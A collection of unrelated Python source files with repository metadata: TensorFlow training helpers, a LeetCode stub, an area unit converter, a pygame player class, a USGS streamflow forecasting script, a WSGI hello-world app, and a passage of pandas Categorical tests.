self.training_op2 = optimizer2.minimize(self.loss, var_list=list2) self.training_op = (self.training_op1,self.training_op2) class Model_cifar10_adam(Model_cifar10_gd): name = 'adam' def optimizer(self): learning_rate = self.learning_rate with tf.name_scope("train"): optimizer = tf.train.AdamOptimizer(learning_rate) #optimizer = tf.train.GradientDescentOptimizer(learning_rate) extra_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) print(extra_update_ops) with tf.control_dependencies(extra_update_ops): self.training_op = optimizer.minimize(self.loss) # # Test class Test(object): def test_lr(self, model, dataset,lr_list, n_batch=100,max_step=1000, logdir='../Results/'): model.set_tensorboard(logdir) value_history = [] datafiles = [] for learning_rate in lr_list: model.train(dataset=dataset, learning_rate=learning_rate, n_batch=n_batch,max_step=max_step) value_history.append(model.value_history) datafiles.append(model.datafile) self.lr_list = lr_list self.value_history = value_history self.datafiles = datafiles print(datafiles) def value_check(self): n = len(self.value_history) m = max([len(vh) for vh in self.value_history]) value_history = np.nan * np.ones([n,m,5]) for ni in range(n): mi = len(self.value_history[ni]) value_history[ni,:mi,:] = np.array(self.value_history[ni]) self.value_history_np = value_history def load_value_history(self): pass def plot_lr(self,step=10): value_history = self.value_history_np x = self.lr_list #step = 10 plt.figure(figsize=[20,5]) plt.subplot(121) plt.plot(x,value_history[:,step,1],'b-') plt.plot(x,value_history[:,step,3],'r-') #plt.xlim([0,10]) plt.xlabel('learning rate') plt.ylabel('loss at step=%d'%step); plt.legend(('train','test')) plt.subplot(122) plt.semilogx(x,value_history[:,step,2],'b-') plt.plot(x,value_history[:,step,4],'r-') #plt.xlim([0,10]) plt.xlabel('learning rate') plt.ylabel('accuracy at step=%d'%step); plt.legend(('train','test')) #import numpy as np import scipy as scipy #from tensorflow.examples.tutorials.mnist import input_data #mnist = input_data.read_data_sets("MNIST_data", one_hot=True) def imresize(x,size): # resize one image such as 28*28 --> 20*20 xr = scipy.misc.imresize(x,size) #return np.array(xr,dtype='float32') return np.array(xr,dtype='float32') / 255.0 def imresize_mnist_batch(xb,size): # resize image batch n_batch = len(xb) size0 = [28,28] xbr = np.zeros([n_batch,size[0]*size[1]]) for i in range(n_batch): x = xb[i].reshape(size0) xr = imresize(x,size) xbr[i,:] = xr.reshape([1,size[0]*size[1]]) return xbr class mnist_resized(): def __init__(self,mnist, trainORtest,size,**args): self.trainORtest = trainORtest self.size = size func_next_batch = [mnist.train.next_batch, mnist.test.next_batch] self.func = func_next_batch[trainORtest] return def next_batch(self,n_batch): x,y = self.func(n_batch) xr = imresize_mnist_batch(x,self.size) #print('xr',xr.shape) return xr,y class dataset_mnist_resized(): def __init__(self, mnist, size, **args): self.train = mnist_resized(mnist, 0,size) self.test = mnist_resized(mnist, 1,size) return #dataset2 = dataset_mnist_resized(mnist, [22,22]) #xb,yb = dataset2.train.next_batch(3) #xt,yt = dataset2.test.next_batch(4) #xb.shape,yb.shape, xt.shape,yt.shape

[ "noreply@github.com" ]

Lightmann.noreply@github.com

f8402862660ad7fbd0eaa5701600977ee84be1b3

3ef1689e0bc15c6928df73768a53fc831811a7cd

/2.add-two-numbers.py

f9ebe10af8d681949ace78d9113b832d94dbc384

[]

no_license

liruochen1998/lc

4b32d9ce05048858628ae6163cc0f3487223b666

8a04c6c53feaefed6376c70cf8063a300a3b85b0

refs/heads/master

2020-04-30T09:27:41.850579

2019-09-23T00:18:06

176,747,674

0

null

UTF-8

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1,016

py

# # @lc app=leetcode id=2 lang=python # # [2] Add Two Numbers # # https://leetcode.com/problems/add-two-numbers/description/ # # algorithms # Medium (30.60%) # Total Accepted: 795.2K # Total Submissions: 2.6M # Testcase Example: '[2,4,3]\n[5,6,4]' # # You are given two non-empty linked lists representing two non-negative # integers. The digits are stored in reverse order and each of their nodes # contain a single digit. Add the two numbers and return it as a linked list. # # You may assume the two numbers do not contain any leading zero, except the # number 0 itself. # # Example: # # # Input: (2 -> 4 -> 3) + (5 -> 6 -> 4) # Output: 7 -> 0 -> 8 # Explanation: 342 + 465 = 807. # # # # Definition for singly-linked list. # class ListNode(object): # def __init__(self, x): # self.val = x # self.next = None class Solution(object): def addTwoNumbers(self, l1, l2): """ :type l1: ListNode :type l2: ListNode :rtype: ListNode """

[ "liruochenv@gmail.com" ]

liruochenv@gmail.com

00609455e8b9cf838c4f51da7dbb1f2d844d980a

37bdd47e37ba53bc856b90d2ed313ef6a9446321

/main/AREA/area.py

293ceda6e4fc572dffbce9709237b9b4851c01aa

[ "BSD-3-Clause" ]

permissive

TSG405/Unit-Converter

07823a4be4a3d4314693473ce79c39edd65eb6c6

98bdedc8130614ef41ba775b67488fb93df4b2da

refs/heads/main

2023-02-19T09:09:13.636394

2021-01-10T07:20:25

322,889,559

2

0

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# LOGICAL FUNCTION def convert_SI(val, unit_in, unit_out): # WITH BASE "SQUARE-METRES"... SI = {'s-km':1000000, 's-mile':2590000, 's-m':1.0, 'hectare':10000, 's-yard': 0.836127, 's-ft': 0.092903, 's-in': 0.00064516, 'acre': 4046.86} return (float(val * SI[unit_in] / SI[unit_out])) # DRIVER FUNCTION def temp(): tsg = ['s-km','s-mile','s-m','hectare','s-yard','s-ft','s-in','acre'] try: print("\n\n-----------------------------------------------------------------------------") print("LIST OF AVAILABLE UNITS OF AREA --") print("* SQUARE-METERS -- s-m [CODE]") print("* SQUARE-MILE -- s-mile [CODE]") print("* SQUARE-KILOMETERS -- s-km [CODE]") print("* HECTARES -- hectare [CODE]") print("* SQUARE-YARDS -- s-yard [CODE]") print("* SQUARE-FOOT -- s-ft [CODE]") print("* SQUARE-INCH -- s-in [CODE]") print("* ACRES -- acre [CODE]") print("-----------------------------------------------------------------------------") unit_in = input("\nFROM UNIT [CODE]-- \t") if unit_in not in tsg: print("ENTER THE CODE CORRECTLY!") temp() unit_out = input("TO UNIT [CODE]-- \t") if unit_out not in tsg: print("ENTER THE CODE CORRECTLY!") temp() amount = float(input("ENTER THE AMOUNT --\t")) res = (convert_SI(amount, unit_in, unit_out)) print("\n------***------------***------") print("{} {} = {} {}".format(amount, unit_in, res, unit_out)) print("------***------------***------\n") except: print("\nENTER THE AMOUNT CORRECTLY!!") temp() U = input("\nWANT TO TRY AGAIN? PLEASE TYPE -- [YES/Y OR NO/N] :--\t").lower() if (U == 'yes' or U == 'y'): temp() else: print("\n\n~THANK YOU! ") exit() temp() @ CODED BY TSG405, 2021

[ "noreply@github.com" ]

TSG405.noreply@github.com

044453674225f4f7f80b35df6406430f80efa084

cdf99a1d50ef2eae92736aa387e8c9766784d717

/src/player.py

c818172979b4e3b825ed4f346703395370eaa7aa

[]

no_license

JoseLooLo/Defeat-the-Night

aea81a0d39daa88f57091584389abb776d87c128

61262b18dbd72479a16d5702a9875a627910bd81

refs/heads/master

2020-05-17T21:34:12.866871

2019-06-22T17:29:43

183,975,305

0

null

UTF-8

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py

import os, sys import pygame import time from src.colision import Colision from src.weapon import Weapon class Player(pygame.sprite.Sprite): def __init__(self, settings, camera, playerID): pygame.sprite.Sprite.__init__(self) self.settings = settings self.playerID = playerID self.camera = camera self.weaponAtual = Weapon(self.settings, self, 0) self.__init() def __init(self): self.__loadVariables() self.__loadImages() def __loadVariables(self): #Variaveis de controle dos Frames self.qntImagePlayerWalk = self.settings.getPlayerQntImagesWalk(self.playerID) self.qntImagePlayerStop = self.settings.getPlayerQntImagesStop(self.playerID) self.qntImagePlayerAttack = self.settings.getPlayerQntImagesAttack(self.playerID) self.qntImagePlayerJump = self.settings.getPlayerQntImagesJump(self.playerID) self.numCurrentImagePlayer = 0 self.velocityImagePlayer = self.settings.getPlayerVelocityImages(self.playerID) self.velocityImagePlayerAttack = self.settings.getPlayerVelocityImagesAttack(self.playerID) #Variaveis de Status self.playerDamage = self.settings.getPlayerStatusDamage(self.playerID) self.playerVelocity = self.settings.getPlayerStatusVelocity(self.playerID) self.playerLife = self.settings.getPlayerStatusLife(self.playerID) self.playerMoney = self.settings.getPlayerStatusMoney(self.playerID) self.playerImunityTime = self.settings.getPlayerStatusImunityTime(self.playerID) self.countImunityTime = 0 #Jump self.playerVelocityJump = self.settings.getPlayerStatusVelocityJump(self.playerID) self.playerHeightJump = self.settings.getPlayerStatusHeightJump(self.playerID) self.playerStatusDefaultJumpTime = self.settings.playerStatusDefaultJumpTime self.countInJumpUp = self.playerHeightJump #Contador para a subida no pulo self.countInJumpDown = 0 #Contador para a descida do pulo self.countJumpPlayer = 0 self.countAirJumpPlayer = 0 #Variaveis de controle self.inMoving = False self.inJump = False self.inAirJump = False self.inDamage = False #Verifica se está dentro do tempo de invulnerabilidade self.inAtack = False self.colisionRight = False self.colisionLeft = False self.posXMouseInScreenIsRightSide = False self.startMoviment = False #Time self.startChangeImage = time.time() self.endChangeImage = time.time() def __loadImages(self): self.__imagePlayerWalk = [] for i in range(self.qntImagePlayerWalk): tempImage = self.settings.load_Images("walking"+str(i)+".png", "Player/ID"+str(self.playerID), -1) self.__imagePlayerWalk.append(tempImage) self.__imagePlayerStop = [] for i in range(self.qntImagePlayerStop): tempImage = self.settings.load_Images("stopped"+str(i)+".png", "Player/ID"+str(self.playerID), -1) self.__imagePlayerStop.append(tempImage) self.__imagePlayerAttack = [] for i in range(self.qntImagePlayerAttack): tempImage = self.settings.load_Images("attack"+str(i)+".png", "Player/ID"+str(self.playerID), -1) self.__imagePlayerAttack.append(tempImage) self.__imagePlayerJump = [] for i in range(self.qntImagePlayerJump): tempImage = self.settings.load_Images("jump"+str(i)+".png", "Player/ID"+str(self.playerID), -1) self.__imagePlayerJump.append(tempImage) self.__currentImagePlayer = self.__imagePlayerStop[0] self.__rectPlayer = self.__currentImagePlayer.get_rect() self.__rectPlayer.y += self.camera.getPosYplayer() #----------------------------------- #Jump def __setImagePlayerJump(self, numImg): self.__currentImagePlayer = self.__imagePlayerJump[numImg] self.numCurrentImagePlayer = numImg self.__flipImage() def __setProxImagePlayerJump(self): if self.numCurrentImagePlayer == self.qntImagePlayerJump -1: pass #self.numCurrentImagePlayer = 0 #self.__setImagePlayerJump(0) else: self.__setImagePlayerJump(self.numCurrentImagePlayer + 1) #----------------------------------- #----------------------------------- #Walk def __setImagePlayerWalk(self, numImg): self.__currentImagePlayer = self.__imagePlayerWalk[numImg] self.numCurrentImagePlayer = numImg self.__flipImage() def __setProxImagePlayerMoving(self): if self.inMoving: if self.numCurrentImagePlayer == self.qntImagePlayerWalk -1: self.__setImagePlayerWalk(0) else: self.__setImagePlayerWalk(self.numCurrentImagePlayer + 1) else: self.startMoviment = False if self.numCurrentImagePlayer == self.qntImagePlayerStop -1: self.__setImagePlayerStop(0) else: self.__setImagePlayerStop(self.numCurrentImagePlayer + 1) #----------------------------------- #----------------------------------- #Stop def __setImagePlayerStop(self, numImg): self.__currentImagePlayer = self.__imagePlayerStop[numImg] self.numCurrentImagePlayer = numImg self.__flipImage() #----------------------------------- #----------------------------------- #Attack def __setImagePlayerAttack(self, numImg): self.__currentImagePlayer = self.__imagePlayerAttack[numImg] self.numCurrentImagePlayer = numImg self.weaponAtual.setCurrentImage(self.numCurrentImagePlayer) self.weaponAtual.resetFlipDis() self.__flipImage() def __setProxImagePlayerAttack(self): if self.numCurrentImagePlayer == self.qntImagePlayerAttack -1: self.inAtack = False self.numCurrentImagePlayer = 0 #self.__setImagePlayerAttack(0) else: self.__setImagePlayerAttack(self.numCurrentImagePlayer + 1) #----------------------------------- def __setProxImagePlayer(self): #Maquinas de estado do player, não podem ser chamadas ao mesmo if self.inAtack: self.__setProxImagePlayerAttack() elif self.inJump: self.__setProxImagePlayerJump() else: self.__setProxImagePlayerMoving() def setInMoving(self, inMoving): self.inMoving = inMoving if not inMoving and not self.inAtack: self.resetCurrentImagePlayer() self.inMoving = inMoving def setInJump(self, inJump): if self.inAtack: return self.inJump = inJump self.resetCurrentImagePlayer() def resetCurrentImagePlayer(self): self.numCurrentImagePlayer = 0 def resetCurrentImagePlayerAfterJump(self): self.numCurrentImagePlayer = 1 def getPlayerPosX(self): return self.camera.getPosXplayer() + self.settings.screen_width/2 def update(self): self.__updateMousePosition() self.__updateImages() self.__updateStep() self.__updateJump() self.__updateCounters() def __updateCounters(self): if self.inDamage: self.countImunityTime+=1 def __updateImages(self): tempVelocity = self.velocityImagePlayer if self.inAtack: tempVelocity = self.velocityImagePlayerAttack self.endChangeImage = time.time() if self.endChangeImage - self.startChangeImage >= tempVelocity: self.startChangeImage = time.time() self.__setProxImagePlayer() def __updateStep(self): if (self.numCurrentImagePlayer >= 1 or self.startMoviment) and self.inMoving: self.startMoviment = True self.__step() def __step(self): if not self.__verificaExtremos() and self.inMoving: if self.playerVelocity < 0 and not self.colisionLeft: #Verifica se o jogador está se movendo para a esquerda e se não está colidindo pela esquerda self.camera.addPlayerPosX(self.playerVelocity) #Altera a posição do jogador (Na real altera a posição posX que é do background, o personagem é fixo no meio do background) elif self.playerVelocity > 0 and not self.colisionRight: self.camera.addPlayerPosX(self.playerVelocity) def __verificaExtremos(self): if self.camera.getPosXplayer() + self.playerVelocity < self.settings.screen_width/2: return True if self.camera.getPosXplayer() + self.playerVelocity > self.camera.getBackgroundImageW() - self.settings.screen_width - self.__rectPlayer.w/2: return True return False def __updateJump(self): if self.inJump: self.__jump() def __jump(self): if self.countInJumpUp - self.playerStatusDefaultJumpTime > 0: self.countInJumpUp -= self.playerStatusDefaultJumpTime self.countInJumpDown += self.playerStatusDefaultJumpTime self.__rectPlayer.y += self.playerStatusDefaultJumpTime else: if self.countInJumpDown == 0: self.inJump = False self.resetCurrentImagePlayer() self.countInJumpUp = self.playerHeightJump self.countInJumpDown = 0 else: self.countInJumpDown -= self.playerStatusDefaultJumpTime self.__rectPlayer.y -= self.playerStatusDefaultJumpTime def __updateMousePosition(self): #Muda a variavel de controle para verificar a posição do mouse na tela metadeTelaX = int(self.settings.screen_width/2) #pygame.mouse.get_pos()[0] pega a posição X do cursor do mouse atual if pygame.mouse.get_pos()[0] > metadeTelaX: self.posXMouseInScreenIsRightSide = True else: self.posXMouseInScreenIsRightSide = False def __flipImage(self): if not self.posXMouseInScreenIsRightSide: tempColorKey = self.__currentImagePlayer.get_colorkey() tempImage = pygame.transform.flip(self.__currentImagePlayer, True, False) tempImage.set_colorkey(tempColorKey) self.__currentImagePlayer = tempImage tempY = self.__rectPlayer.y self.__rectPlayer = self.__currentImagePlayer.get_rect() self.__rectPlayer.y = tempY self.weaponAtual.flipImage() def resetVariables(self): self.__loadVariables() def draw(self, camera): camera.drawScreenFix(self.__currentImagePlayer, (self.settings.screen_width/2, self.settings.valuePosY-self.__rectPlayer.h-self.__rectPlayer.y)) if self.inAtack: camera.drawScreenFix(self.weaponAtual.getCurrentImage(), (self.settings.screen_width/2+self.weaponAtual.flipDis, self.settings.valuePosY-self.__rectPlayer.h-self.__rectPlayer.y-8)) def getRectPlayer(self): tempRect = self.__rectPlayer.copy() tempRect.x = self.getPlayerPosX() return tempRect def getWeapon(self): return self.weaponAtual def removeColision(self): self.colisionLeft = False self.colisionRight = False def setDamage(self, damage): if self.inDamage: #Se já levou dano e está no tempo de invunerabilidade #A variabel contador de imunidade é incrementada no update de contadores if self.countImunityTime >= self.playerImunityTime: self.inDamage = False self.countImunityTime = 0 else: self.inDamage = True self.countImunityTime = 0 if self.playerLife - damage <= 0: self.playerLife = 0 else: self.playerLife -= damage if self.settings.generalInfo: print ("Damage %d | Life %d" % (damage, self.playerLife)) def attack(self): if self.inJump or self.inAtack: return self.inAtack = True self.numCurrentImagePlayer = 0 def getMoneyFromChat(self, value): self.playerMoney += value print ("Get money %d (from chat)" % (value)) def getWeaponDamageFromChat(self, value): self.playerDamage += value print ("Get weapon damage %d (from chat)" % (value)) def getHPFromChat(self, value): self.playerLife += value print ("Get HP %d (from chat)" % (value)) def setHPFromChat(self, value): self.playerLife = value print ("Set HP %d (from chat)" % (value)) def getVelocityFromChat(self, value): self.playerVelocity += value print ("Get Velocity %d (from chat)" % (value))

[ "joseloolo@hotmail.com" ]

joseloolo@hotmail.com

5fdb4b233dd4fdfcfd42200e296d2938286f979a

f3c27ed7c4e2b9f4df497f7371cfd585d3b0bba4

/Submissions/team_forecast/Bits and Pieces/Step10.py

74e41bdb80def8d4b3182b5cb0f5c6cea284df5d

[]

no_license

genoonan/homework-genoonan

f69c7e0a6bd744d8d960fdf7c689b0afa9af09a8

a4bd1e5ab73d2185668a6d2c333cd64c4a487b97

refs/heads/master

2023-01-27T22:07:37.471752

2020-12-08T12:41:05

null

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null

UTF-8

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py

# %% # Import the modules we will use import numpy as np import pandas as pd import matplotlib.pyplot as plt from sklearn.linear_model import LinearRegression import datetime import urllib.request as req import urllib import scipy # %% def weekly_min1(month1, day_more, day_less): '''Function (weekly_min1): This function is for time windows within the same month. It pulls values out of the data_week_min dataframe which is aggregated by weekly minimum value. The historical minimums are plotted over the data time period. It then pulls the minimum historical value from the weekly minimum values for the given month, day time period. It removes 2020 data so that the historical forecast only uses data prior to the forecast period. Parameters ---------- month1: int Input variable with one value representing first month of the time window day_more: int Input variable with one value representing first day of the time window day_less: int Input variable with one value representing last day of the time window Returns ------ wk_min : dataframe Outputs a dataframe with only data for specified time period and prints the output minimum flow value ''' wk_min = data_week_min[(data_week_min.index.month == month1) & (data_week_min.index.day >= day_more) & (data_week_min.index.day <= day_less) & (data_week_min.index.year != 2020)] print("") print("Plotted historical weekly minimum flows for ", month1, "-", day_more, "to", month1, "-", day_less) wk_min.reset_index().plot(x="datetime", y="flow", title="Historical Flow Weekly Minimums", kind="scatter") plt.show() print("The overall historical weekly minimum flow for ", month1, "-", day_more, "to", month1, "-", day_less, " is", wk_min.flow.min(), "cfs") seasonal_list.append(wk_min.flow.min()) def weekly_min2(month1, day1, month2, day2): '''Function (weekly_min2): This function is for time windows spanning two months. It pulls values out of the data_week_min dataframe which is aggregated by weekly minimum value. The historical minimums are plotted over the data time period. It then pulls the minimum historical value from the weekly minimum values for the given month, day time period. It removes 2020 data so that the historical forecast only uses data prior to the forecast period. Parameters ---------- month1: int Input variable with one value representing first month of the time window day1: int Input variable with one value representing first day of the time window month2: int Input variable with one value representing second month of the time window day2: int Input variable with one value representing last day of the time window Returns ------ wk_min : dataframe Outputs a dataframe with only data for specified time period and prints the output minimum flow value''' wk_min = data_week_min[((data_week_min.index.month == month1) & (data_week_min.index.day >= day1) | (data_week_min.index.month == month2) & (data_week_min.index.day <= day2)) & (data_week_min.index.year != 2020)] print("") print("Plotted historical weekly minimum flows for ", month1, "-", day1, "to", month2, "-", day2) wk_min.reset_index().plot(x="datetime", y="flow", title="Historical Flow Weekly Minimums", kind="scatter") plt.show() print("The overall historical weekly minimum flow for ", month1, "-", day1, "to", month2, "-", day2, " is", wk_min.flow.min(), "cfs") seasonal_list.append(wk_min.flow.min()) # %% # Step 1: Import USGS flow data # Replace parts of url with variables site = '09506000' start = '1989-01-01' end = '2020-10-31' # Update end date each week to Saturday url = "https://waterdata.usgs.gov/nwis/dv?cb_00060=on&format=rdb&site_no=" + \ site + "&referred_module=sw&period=&begin_date=" + start + "&end_date=" + \ end data = pd.read_table(url, skiprows=30, names=['agency_cd', 'site_no', 'datetime', 'flow', 'code'], parse_dates=['datetime']) # Expand the dates to year month day data['year'] = pd.DatetimeIndex(data['datetime']).year data['month'] = pd.DatetimeIndex(data['datetime']).month data['day'] = pd.DatetimeIndex(data['datetime']).day data['dayofweek'] = pd.DatetimeIndex(data['datetime']).dayofweek # %% # Step 10: # Generate long term forecast based on historical minimums # First aggregate flow values to weekly MINIMUM data_week_min = data.resample("W-SAT", on='datetime').min() # Reset index to be first day of week instead of last data_week_min = data_week_min.set_index("datetime") # %% # Plot historical weekly flows for each forecast week # Use functions 'weekly_min1' or 'weekly_min2' to grab historical minimum flow # %% # Set empty list seasonal_list = list() # Wk1 historical min (8/22 - 8/29) month1 = 8 day_more = 22 day_less = 29 weekly_min1(month1, day_more, day_less) # Wk2 historical min (8/30 - 9/5)(spans two months so does not use function) month1 = 8 day1 = 30 month2 = 9 day2 = 5 weekly_min2(month1, day1, month2, day2) # Wk3 historical min (9/6 - 9/12) month1 = 9 day_more = 6 day_less = 12 weekly_min1(month1, day_more, day_less) # Wk4 historical min (9/13 - 9/19) month1 = 9 day_more = 13 day_less = 19 weekly_min1(month1, day_more, day_less) # Wk5 historical min (9/20 - 9/26) month1 = 9 day_more = 20 day_less = 26 weekly_min1(month1, day_more, day_less) # Wk6 historical min (9/27 - 10/3) (spans two months so does not use function) month1 = 9 day1 = 27 month2 = 10 day2 = 3 weekly_min2(month1, day1, month2, day2) # Wk7 historical min (10/4 - 10/10) month1 = 10 day_more = 4 day_less = 10 weekly_min1(month1, day_more, day_less) # Wk8 historical min (10/11 - 10/17) month1 = 10 day_more = 11 day_less = 17 weekly_min1(month1, day_more, day_less) # Wk9 historical min (10/18 - 10/24) month1 = 10 day_more = 18 day_less = 24 weekly_min1(month1, day_more, day_less) # Wk10 historical min (10/25 - 10/31) month1 = 10 day_more = 25 day_less = 31 weekly_min1(month1, day_more, day_less) # Wk11 historical min (11/1 - 11/7) month1 = 11 day_more = 1 day_less = 7 weekly_min1(month1, day_more, day_less) # Wk12 historical min (11/8 - 11/14) month1 = 11 day_more = 8 day_less = 14 weekly_min1(month1, day_more, day_less) # Wk13 historical min (11/15 - 11/21) month1 = 11 day_more = 15 day_less = 21 weekly_min1(month1, day_more, day_less) # Wk14 historical min (11/22 - 11/28) month1 = 11 day_more = 22 day_less = 28 weekly_min1(month1, day_more, day_less) # Wk15 historical min (11/29 - 12/5)(spans two months so does not use function) month1 = 11 day1 = 29 month2 = 12 day2 = 5 weekly_min2(month1, day1, month2, day2) # Wk16 historical min (12/6 - 12/12) month1 = 12 day_more = 6 day_less = 12 weekly_min1(month1, day_more, day_less) # %% print("Seasonal forecast list =", seasonal_list) # %%

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#hello.py def application(environ,start_response): start_response('200 OK',[('Content-Type','text/html')]) body = '<h1>Hello,%s!</h1>' % (environ['PATH_INFO'][1:] or 'web') return [body.encode('utf-8')]

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import re import sys import numpy as np import pytest from pandas.compat import PYPY from pandas import Categorical, Index, NaT, Series, date_range import pandas._testing as tm from pandas.api.types import is_scalar class TestCategoricalAnalytics: @pytest.mark.parametrize("aggregation", ["min", "max"]) def test_min_max_not_ordered_raises(self, aggregation): # unordered cats have no min/max cat = Categorical(["a", "b", "c", "d"], ordered=False) msg = f"Categorical is not ordered for operation {aggregation}" agg_func = getattr(cat, aggregation) with pytest.raises(TypeError, match=msg): agg_func() def test_min_max_ordered(self): cat = Categorical(["a", "b", "c", "d"], ordered=True) _min = cat.min() _max = cat.max() assert _min == "a" assert _max == "d" cat = Categorical( ["a", "b", "c", "d"], categories=["d", "c", "b", "a"], ordered=True ) _min = cat.min() _max = cat.max() assert _min == "d" assert _max == "a" @pytest.mark.parametrize( "categories,expected", [ (list("ABC"), np.NaN), ([1, 2, 3], np.NaN), pytest.param( Series(date_range("2020-01-01", periods=3), dtype="category"), NaT, marks=pytest.mark.xfail( reason="https://github.com/pandas-dev/pandas/issues/29962" ), ), ], ) @pytest.mark.parametrize("aggregation", ["min", "max"]) def test_min_max_ordered_empty(self, categories, expected, aggregation): # GH 30227 cat = Categorical([], categories=categories, ordered=True) agg_func = getattr(cat, aggregation) result = agg_func() assert result is expected @pytest.mark.parametrize( "values, categories", [(["a", "b", "c", np.nan], list("cba")), ([1, 2, 3, np.nan], [3, 2, 1])], ) @pytest.mark.parametrize("skipna", [True, False]) @pytest.mark.parametrize("function", ["min", "max"]) def test_min_max_with_nan(self, values, categories, function, skipna): # GH 25303 cat = Categorical(values, categories=categories, ordered=True) result = getattr(cat, function)(skipna=skipna) if skipna is False: assert result is np.nan else: expected = categories[0] if function == "min" else categories[2] assert result == expected @pytest.mark.parametrize("function", ["min", "max"]) @pytest.mark.parametrize("skipna", [True, False]) def test_min_max_only_nan(self, function, skipna): # https://github.com/pandas-dev/pandas/issues/33450 cat = Categorical([np.nan], categories=[1, 2], ordered=True) result = getattr(cat, function)(skipna=skipna) assert result is np.nan @pytest.mark.parametrize("method", ["min", "max"]) def test_deprecate_numeric_only_min_max(self, method): # GH 25303 cat = Categorical( [np.nan, 1, 2, np.nan], categories=[5, 4, 3, 2, 1], ordered=True ) with tm.assert_produces_warning(expected_warning=FutureWarning): getattr(cat, method)(numeric_only=True) @pytest.mark.parametrize("method", ["min", "max"]) def test_numpy_min_max_raises(self, method): cat = Categorical(["a", "b", "c", "b"], ordered=False) msg = ( f"Categorical is not ordered for operation {method}\n" "you can use .as_ordered() to change the Categorical to an ordered one" ) method = getattr(np, method) with pytest.raises(TypeError, match=re.escape(msg)): method(cat) @pytest.mark.parametrize("kwarg", ["axis", "out", "keepdims"]) @pytest.mark.parametrize("method", ["min", "max"]) def test_numpy_min_max_unsupported_kwargs_raises(self, method, kwarg): cat = Categorical(["a", "b", "c", "b"], ordered=True) msg = ( f"the '{kwarg}' parameter is not supported in the pandas implementation " f"of {method}" ) if kwarg == "axis": msg = r"`axis` must be fewer than the number of dimensions $1$" kwargs = {kwarg: 42} method = getattr(np, method) with pytest.raises(ValueError, match=msg): method(cat, **kwargs) @pytest.mark.parametrize("method, expected", [("min", "a"), ("max", "c")]) def test_numpy_min_max_axis_equals_none(self, method, expected): cat = Categorical(["a", "b", "c", "b"], ordered=True) method = getattr(np, method) result = method(cat, axis=None) assert result == expected @pytest.mark.parametrize( "values,categories,exp_mode", [ ([1, 1, 2, 4, 5, 5, 5], [5, 4, 3, 2, 1], [5]), ([1, 1, 1, 4, 5, 5, 5], [5, 4, 3, 2, 1], [5, 1]), ([1, 2, 3, 4, 5], [5, 4, 3, 2, 1], [5, 4, 3, 2, 1]), ([np.nan, np.nan, np.nan, 4, 5], [5, 4, 3, 2, 1], [5, 4]), ([np.nan, np.nan, np.nan, 4, 5, 4], [5, 4, 3, 2, 1], [4]), ([np.nan, np.nan, 4, 5, 4], [5, 4, 3, 2, 1], [4]), ], ) def test_mode(self, values, categories, exp_mode): s = Categorical(values, categories=categories, ordered=True) res = s.mode() exp = Categorical(exp_mode, categories=categories, ordered=True) tm.assert_categorical_equal(res, exp) def test_searchsorted(self, ordered): # https://github.com/pandas-dev/pandas/issues/8420 # https://github.com/pandas-dev/pandas/issues/14522 cat = Categorical( ["cheese", "milk", "apple", "bread", "bread"], categories=["cheese", "milk", "apple", "bread"], ordered=ordered, ) ser = Series(cat) # Searching for single item argument, side='left' (default) res_cat = cat.searchsorted("apple") assert res_cat == 2 assert is_scalar(res_cat) res_ser = ser.searchsorted("apple") assert res_ser == 2 assert is_scalar(res_ser) # Searching for single item array, side='left' (default) res_cat = cat.searchsorted(["bread"]) res_ser = ser.searchsorted(["bread"]) exp = np.array([3], dtype=np.intp) tm.assert_numpy_array_equal(res_cat, exp) tm.assert_numpy_array_equal(res_ser, exp) # Searching for several items array, side='right' res_cat = cat.searchsorted(["apple", "bread"], side="right") res_ser = ser.searchsorted(["apple", "bread"], side="right") exp = np.array([3, 5], dtype=np.intp) tm.assert_numpy_array_equal(res_cat, exp) tm.assert_numpy_array_equal(res_ser, exp) # Searching for a single value that is not from the Categorical with pytest.raises(KeyError, match="cucumber"): cat.searchsorted("cucumber") with pytest.raises(KeyError, match="cucumber"): ser.searchsorted("cucumber") # Searching for multiple values one of each is not from the Categorical with pytest.raises(KeyError, match="cucumber"): cat.searchsorted(["bread", "cucumber"]) with pytest.raises(KeyError, match="cucumber"): ser.searchsorted(["bread", "cucumber"]) def test_unique(self): # categories are reordered based on value when ordered=False cat = Categorical(["a", "b"]) exp = Index(["a", "b"]) res = cat.unique() tm.assert_index_equal(res.categories, exp) tm.assert_categorical_equal(res, cat) cat = Categorical(["a", "b", "a", "a"], categories=["a", "b", "c"]) res = cat.unique() tm.assert_index_equal(res.categories, exp) tm.assert_categorical_equal(res, Categorical(exp)) cat = Categorical(["c", "a", "b", "a", "a"], categories=["a", "b", "c"]) exp = Index(["c", "a", "b"]) res = cat.unique() tm.assert_index_equal(res.categories, exp) exp_cat = Categorical(exp, categories=["c", "a", "b"]) tm.assert_categorical_equal(res, exp_cat) # nan must be removed cat = Categorical(["b", np.nan, "b", np.nan, "a"], categories=["a", "b", "c"]) res = cat.unique() exp = Index(["b", "a"]) tm.assert_index_equal(res.categories, exp) exp_cat = Categorical(["b", np.nan, "a"], categories=["b", "a"]) tm.assert_categorical_equal(res, exp_cat) def test_unique_ordered(self): # keep categories order when ordered=True cat = Categorical(["b", "a", "b"], categories=["a", "b"], ordered=True) res = cat.unique() exp_cat = Categorical(["b", "a"], categories=["a", "b"], ordered=True) tm.assert_categorical_equal(res, exp_cat) cat = Categorical( ["c", "b", "a", "a"], categories=["a", "b", "c"], ordered=True ) res = cat.unique() exp_cat = Categorical(["c", "b", "a"], categories=["a", "b", "c"], ordered=True) tm.assert_categorical_equal(res, exp_cat) cat = Categorical(["b", "a", "a"], categories=["a", "b", "c"], ordered=True) res = cat.unique() exp_cat = Categorical(["b", "a"], categories=["a", "b"], ordered=True) tm.assert_categorical_equal(res, exp_cat) cat = Categorical( ["b", "b", np.nan, "a"], categories=["a", "b", "c"], ordered=True ) res = cat.unique() exp_cat = Categorical(["b", np.nan, "a"], categories=["a", "b"], ordered=True) tm.assert_categorical_equal(res, exp_cat) def test_unique_index_series(self): c = Categorical([3, 1, 2, 2, 1], categories=[3, 2, 1]) # Categorical.unique sorts categories by appearance order # if ordered=False exp = Categorical([3, 1, 2], categories=[3, 1, 2]) tm.assert_categorical_equal(c.unique(), exp) tm.assert_index_equal(Index(c).unique(), Index(exp)) tm.assert_categorical_equal(Series(c).unique(), exp) c = Categorical([1, 1, 2, 2], categories=[3, 2, 1]) exp = Categorical([1, 2], categories=[1, 2]) tm.assert_categorical_equal(c.unique(), exp) tm.assert_index_equal(Index(c).unique(), Index(exp)) 